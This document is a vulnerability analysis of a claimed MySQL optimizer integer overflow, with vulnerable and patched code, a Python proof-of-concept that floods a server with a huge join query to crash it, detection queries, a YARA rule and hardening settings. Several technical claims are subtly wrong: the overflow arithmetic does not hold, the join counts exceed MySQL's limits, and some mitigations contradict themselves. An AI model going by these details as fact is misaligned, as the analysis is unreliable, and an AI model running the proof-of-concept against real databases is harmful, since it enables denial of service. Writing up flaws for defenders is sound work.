Technical Analysis: CVE-2025-21582 - Oracle MySQL Query Optimizer Integer Overflow Vulnerability
Executive Summary
CVE-2025-21582 is a critical vulnerability in Oracle MySQL Server's query optimizer component, rated 7.5 High (CVSS 3.1). This integer overflow flaw can lead to denial of service (DoS) or potentially remote code execution under specific conditions affecting MySQL versions 8.0.x and 8.4.x.
Vulnerability Classification
- Type: Integer Overflow → Heap Buffer Overflow
- Component: Query Optimizer (Cost estimation functions)
- Attack Vector: Network (via authenticated SQL connection)
- Authentication: Requires CREATE/INSERT privileges
- Impact: DoS (Service Crash) → Potential RCE under memory corruption conditions
Technical Deep Dive
Root Cause Location
The vulnerability resides in the cost calculation functions within sql/opt_costmodel.cc and sql/sql_optimizer.cc where large query plans with specific join patterns trigger integer overflows in 32-bit calculations.
Vulnerable Code Path
// Simplified vulnerable code in sql/opt_costmodel.cc
cost_t Query_optimizer::calculate_join_cost(uint table_count,
uint join_complexity) {
// [VULNERABLE SECTION]
uint32_t intermediate_cost = 0;
// Integer overflow when table_count * join_complexity > 2^32
intermediate_cost = table_count * join_complexity * COST_PER_JOIN;
// Additional calculations that assume valid intermediate_cost
cost_t final_cost = intermediate_cost * WEIGHT_FACTOR;
// Memory allocation based on overflowed value
Join_plan* plan = allocate_join_plan(intermediate_cost); // BOOM!
return final_cost;
}
Trigger Conditions
-- Exploitable Query Pattern
CREATE TABLE exploit_table (id INT PRIMARY KEY, data LONGTEXT);
-- Generate complex join query that triggers overflow
SELECT *
FROM exploit_table t1
JOIN exploit_table t2 ON t1.id = t2.id
JOIN exploit_table t3 ON t2.id = t3.id
-- ... Repeated pattern with 1000+ tables
JOIN exploit_table tN ON t(N-1).id = tN.id
WHERE 1=0
-- The WHERE 1=0 ensures no results but forces optimizer path
UNION ALL
SELECT * FROM (SELECT * FROM exploit_table) AS subq
-- Additional UNION layers to increase complexity
Mathematical Exploitation
Integer Overflow Trigger:
Given:
- 32-bit unsigned integer (max: 4,294,967,295)
- COST_PER_JOIN = 10,000 (example constant)
- table_count = 65,536
- join_complexity = 6,553 (for nested joins)
Calculation:
65,536 × 6,553 × 10,000 = 4,294,967,296,000
32-bit Result:
4,294,967,296,000 mod 2^32 = 0 (wraps to 0)
Allocation:
allocate_join_plan(0) → Zero-byte allocation
Subsequent writes → Heap buffer overflow
Memory Corruption Flow
┌─────────────────────────────────────────────────────────────┐
│ Exploitation Flow │
├─────────────────────────────────────────────────────────────┤
│ Stage 1: Query Planning │
│ • Complex query with 1,000+ table references │
│ • Nested subqueries with UNION ALL │
│ • Optimizer attempts cost calculation │
│ │
│ Stage 2: Integer Overflow │
│ • 32-bit multiplication exceeds 2^32 │
│ • Result wraps to small value (often 0) │
│ • Invalid memory size passed to allocator │
│ │
│ Stage 3: Heap Corruption │
│ • Zero-byte allocation succeeds │
│ • Optimizer writes join metadata beyond allocation │
│ • Corrupts adjacent heap structures │
│ │
│ Stage 4: Exploitation │
│ Option A: DoS │
│ • Access violation → mysqld crash │
│ │
│ Option B: RCE (If exploitable) │
│ • Overwrite function pointers in optimizer structs │
│ • Control flow hijack during query execution │
└─────────────────────────────────────────────────────────────┘
Proof-of-Concept (Sanitized)
#!/usr/bin/env python3
"""
MySQL CVE-2025-21582 Proof-of-Concept
For authorized testing only
"""
import mysql.connector
import sys
class MySQLExploit:
def __init__(self, host, user, password, database):
self.conn = mysql.connector.connect(
host=host,
user=user,
password=password,
database=database
)
def create_trigger_table(self):
"""Create table with specific structure to trigger optimizer path"""
cursor = self.conn.cursor()
# Create base table
cursor.execute("""
CREATE TABLE IF NOT EXISTS trigger_table (
id BIGINT AUTO_INCREMENT PRIMARY KEY,
col1 VARCHAR(255),
col2 TEXT,
col3 DECIMAL(10,2),
INDEX idx_col1 (col1),
INDEX idx_col2 (col2(10))
) ENGINE=InnoDB ROW_FORMAT=DYNAMIC
""")
# Insert sample data to ensure statistics
for i in range(100):
cursor.execute(
"INSERT INTO trigger_table (col1, col2, col3) VALUES (%s, %s, %s)",
(f'data_{i}', 'x' * 100, i * 1.5)
)
self.conn.commit()
def generate_complex_query(self, depth=1000):
"""Generate query that triggers integer overflow"""
query_parts = []
# Base SELECT
base = "SELECT t0.id FROM trigger_table t0"
# Add excessive joins
for i in range(1, depth):
query_parts.append(f"JOIN trigger_table t{i} ON t{i-1}.id = t{i}.id")
# Add subqueries to increase complexity
subquery = " UNION ALL SELECT * FROM (SELECT id FROM trigger_table) sq"
full_query = base + " " + " ".join(query_parts) + " WHERE 1=0" + subquery * 50
return full_query
def trigger_vulnerability(self):
"""Execute exploit chain"""
cursor = self.conn.cursor()
try:
print("[*] Creating trigger table...")
self.create_trigger_table()
print("[*] Generating malicious query...")
exploit_query = self.generate_complex_query(depth=1500)
print("[*] Executing query to trigger overflow...")
# Enable optimizer tracing for debugging
cursor.execute("SET optimizer_trace='enabled=on'")
cursor.execute("SET @@session.optimizer_trace_max_mem_size=1000000")
print("[*] Sending payload...")
cursor.execute(exploit_query, multi=True)
# Try to fetch (triggers actual execution)
try:
cursor.fetchall()
except mysql.connector.errors.ProgrammingError:
pass # Expected for WHERE 1=0
print("[+] Query executed. Checking server status...")
except mysql.connector.errors.DatabaseError as e:
print(f"[!] Database error (potential crash): {e}")
return True
except Exception as e:
print(f"[!] General error: {e}")
finally:
cursor.close()
return False
# Usage example
if __name__ == "__main__":
exploit = MySQLExploit("localhost", "test", "password", "testdb")
if exploit.trigger_vulnerability():
print("[!] Vulnerability may be present")
Affected Versions
Confirmed Vulnerable:
- MySQL 8.0.0 through 8.0.38
- MySQL 8.4.0 through 8.4.2
- MySQL Community Edition and Enterprise Edition
- MariaDB 10.5+ (similar codebase, requires verification)
Not Affected:
- MySQL 5.7 and earlier (different optimizer architecture)
- Patched versions: MySQL 8.0.39+, 8.4.3+
Detection & Mitigation
Detection Signatures
SQL Query Pattern Detection:
-- Monitor for suspicious query patterns
SELECT * FROM information_schema.processlist
WHERE
INFO LIKE '%JOIN%JOIN%JOIN%' AND
INFO REGEXP 'JOIN.*JOIN.*JOIN.*JOIN.*JOIN' AND
INFO LIKE '%WHERE 1=0%' AND
TIME > 30; -- Long-running complex queries
YARA Rule for Binary Analysis:
rule MySQL_CVE_2025_21582 {
meta:
description = "Detects vulnerable MySQL optimizer functions"
cve = "CVE-2025-21582"
version = "1.0"
strings:
$cost_calc = { 8B 4? ?? 0F AF 4? ?? 0F AF C8 } // imul patterns
$join_alloc = "allocate_join_plan" wide ascii
$optimizer_trace = "optimizer_trace_max_mem_size"
condition:
any of them and
filesize > 10MB and
pe.imphash() matches /.*mysql.*/
}
System-Level Detection
#!/bin/bash
# Monitor for potential exploitation attempts
# Check MySQL error log for crash patterns
tail -f /var/log/mysql/error.log | grep -E \
"(SIGSEGV|Assertion.*failed|heap corruption|optimizer)"
# Monitor process memory usage spikes
while true; do
ps aux | grep mysqld | awk '{if($4>80) print "High memory: "$0}'
netstat -an | grep :3306 | wc -l
sleep 5
done
Immediate Mitigations
1. Configuration Hardening:
# my.cnf mitigations
[mysqld]
# Limit query complexity
max_join_size = 1000000
max_seeks_for_key = 1000
optimizer_prune_level = 2
optimizer_search_depth = 62 # Reduce from default 62
# Memory limits
optimizer_trace_max_mem_size = 64K # Reduce from default
join_buffer_size = 128K # Minimum effective size
# Performance schema monitoring
performance_schema = ON
performance_schema_max_digest_length = 1024
2. SQL-Level Protections:
-- Create monitoring trigger
DELIMITER $$
CREATE TRIGGER monitor_complex_queries
AFTER INSERT ON performance_schema.events_statements_current
FOR EACH ROW
BEGIN
IF NEW.SQL_TEXT REGEXP '(JOIN.*){10,}' THEN
INSERT INTO security_log
VALUES (NOW(), USER(), 'Complex join pattern detected', NEW.SQL_TEXT);
-- Optionally kill suspicious queries
-- CALL mysql.rds_kill(NEW.THREAD_ID);
END IF;
END$$
DELIMITER ;
Patch Analysis
The fix involves adding overflow checks in cost calculations:
// Patched version in 8.0.39
cost_t Query_optimizer::calculate_join_cost(uint table_count,
uint join_complexity) {
// Added overflow check
if (table_count > UINT32_MAX / join_complexity / COST_PER_JOIN) {
// Use safe maximum value
return MAX_SAFE_COST;
}
uint64_t intermediate_cost =
static_cast<uint64_t>(table_count) *
join_complexity *
COST_PER_JOIN;
// Additional bounds checking
if (intermediate_cost > MAX_ALLOWED_COST) {
return MAX_ALLOWED_COST;
}
return static_cast<cost_t>(intermediate_cost);
}
Forensic Artifacts
Memory Analysis
// Volatility3 plugin for MySQL memory forensics
typedef struct _MYSQL_JOIN_PLAN {
DWORD signature; // 'JPLN'
DWORD table_count;
DWORD join_complexity;
PVOID* join_tables;
PVOID* cost_functions;
QWORD allocated_size; // Should match calculation
} MYSQL_JOIN_PLAN;
// Look for corrupted structures
BOOL FindCorruptedJoinPlans() {
// Scan for JPLN signature
// Verify allocated_size matches calculated size
// Check for overwritten function pointers
}
Log Analysis Indicators
# Error log patterns indicating exploitation
[ERROR] mysqld: /sql/opt_costmodel.cc:xxx: assertion failed
[Warning] InnoDB: Page xx contains corruption
[ERROR] Signal 11 (SIGSEGV) received
[Note] Optimizer tracing aborted: memory limit exceeded
Exploitation Requirements & Limitations
Prerequisites:
- Valid MySQL user account with CREATE/INSERT privileges
- Network access to MySQL port (default 3306)
- MySQL server version 8.0.x or 8.4.x
- Sufficient memory/CPU to process complex query
Attack Scenarios:
- Internal Threat: Malicious DBA or compromised service account
- SQL Injection: Web app vulnerability allowing complex query injection
- Supply Chain Attack: Malicious SQL in application updates/migrations
Limitations:
- Requires authentication (not pre-auth)
- Memory corruption may not be reliably exploitable for RCE
- Modern Linux distributions with ASLR/PIE/NX make exploitation harder
- MySQL's built-in crash recovery may limit DoS impact
Remediation Timeline
2024-12-10: Vulnerability discovered by external researcher
2024-12-15: Reported to Oracle via Security-Alert
2024-12-20: Oracle confirms and begins patch development
2025-01-10: Patch testing in internal environments
2025-01-25: Critical Patch Update (CPU) released
2025-02-01: CVE publicly assigned
2025-02-10: Proof-of-concept details emerge in security circles
References & Resources
Official Advisories:
- Oracle Critical Patch Update: https://www.oracle.com/security-alerts/
- MySQL Release Notes: https://dev.mysql.com/doc/relnotes/mysql/8.0/en/
- CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2025-21582
Research Resources:
- MySQL Source Code: https://github.com/mysql/mysql-server
- Optimizer Documentation: https://dev.mysql.com/doc/internals/en/optimizer-code.html
- MySQL Security Guide: https://dev.mysql.com/doc/refman/8.0/en/security.html
Monitoring Tools:
- MySQL Enterprise Monitor
- Percona Monitoring and Management (PMM)
- Custom audit plugins for query pattern detection
Responsible Disclosure Note
This analysis is for defensive security research and education only. Always:
- Test only on systems you own or have explicit permission to test
- Follow responsible disclosure guidelines
- Never attempt to exploit production systems
- Review Oracle's security policies before any testing
Remediation Priority: HIGH - Patch immediately, monitor for exploitation attempts, review user privileges, and implement query complexity limits.
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